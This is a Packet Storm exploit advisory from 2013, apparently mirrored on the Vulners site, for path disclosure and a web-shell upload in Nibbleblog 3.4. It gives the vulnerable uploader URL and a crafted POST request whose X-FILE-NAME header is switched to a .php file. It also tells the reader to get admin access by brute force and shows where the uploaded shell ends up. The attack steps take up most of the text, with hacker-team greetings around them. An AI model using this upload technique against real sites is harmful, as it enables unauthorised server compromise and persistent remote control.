Lucene search
K

Nibbleblog 3.4 Path Disclosure / Shell Upload

🗓️ 14 Jan 2013 00:00:00Reported by KedAns-DzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Nibbleblog v3.4 suffer from multiple vulnerabilities including path disclosure and shell upload. Attacker can exploit ajax-Uploader to disclose the full path and upload shell without protection

Code
`1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : 1337day.com 0  
1 [+] Support e-mail : submit[at]1337day.com 1  
0 0  
1 ######################################### 1  
0 I'm KedAns-Dz member from Inj3ct0r Team 1  
1 ######################################### 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
###  
# Title : Nibbleblog v3.4 (ajax) <= (FD/FU) Multiple Vulnerabilities  
# Author : KedAns-Dz  
# E-mail : ked-h (@hotmail.com / @1337day.com)  
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)  
# Web Site : www.1337day.com .net .org  
# FaCeb0ok : http://fb.me/Inj3ct0rK3d  
# TwiTter : @kedans  
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com  
# Platform/CatID : php - Multiple  
# Type : proof of concept - webapp 0day  
# Tested on : Windows7  
# Download : [http://garr.dl.sourceforge.net/project/nibbleblog/v3.4/nibbleblog-v3.4.2.zip]  
###  
  
# <3 <3 Greetings t0 Palestine <3 <3  
# F-ck HaCking, Lov3 Explo8ting !  
  
######## [ Proof / Exploit ] ################|=>  
  
##################  
# [!] Description:  
------------------  
Nibbleblog v3.4 is suffer from multiple vulnerabilities / bugs in   
ajax-Uploader , the attacker can use some bug in the ajax-up plug  
to Disclosure the Full Path , and the uploader is not protected !  
after get admin auth ( use brute force or any way :p ) post new image  
with TamperData (Shell-Included) and upload , use temper to find filename-hash to .  
#########  
  
#(1) FD (Disclosure the Full Path) :  
------------------------------------  
  
[!] http://[target]/[path]/admin/ajax/uploader.php  
[+] http://127.0.0.1/nibbleblog/admin/ajax/uploader.php  
  
[*] Proof image : (http://i49.tinypic.com/ev8ktx.png)  
  
  
#(2) File/Shell Upload :  
------------------------  
  
[!] http://[target]/[path]/admin.php?controller=post&action=edit_simple&id_post=[ id ]  
ex: [+] http://127.0.0.1/nibbleblog/admin.php?controller=post&action=edit_simple&id_post=2  
  
ex: HTTP Headers : (TemperDATA):  
________________________________  
Host : 127.0.0.1  
User-Agent :Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0  
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language : fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding : gzip, deflate  
X-Requested-With : XMLHttpRequest  
X-FILE-NAME : sh3lL.gif <= [ change it 2 ( *.php ) ]  
Referer : http://127.0.0.1/nibbleblog/admin.php?controller=post&action=edit_simple&id_post=2  
Content-Lenght : %{file_length}%  
Content-Type : image/gif  
  
POST_DATA : [ Shell Content h3re ]  
__________________________________  
  
[*] Proof image : (http://i46.tinypic.com/350nmdg.png)  
  
-------------------  
After upload shell-path : http://127.0.0.1/nibbleblog/content/public/upload/{File_Name_Hash}_0.php  
ex image : (http://i49.tinypic.com/33lm52v.png)  
  
########################  
# REF : http://1337day.com/exploit/20171  
########################  
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================  
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem  
# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,  
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)  
# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection  
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all  
# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD  
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs  
#============================================================================================================`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation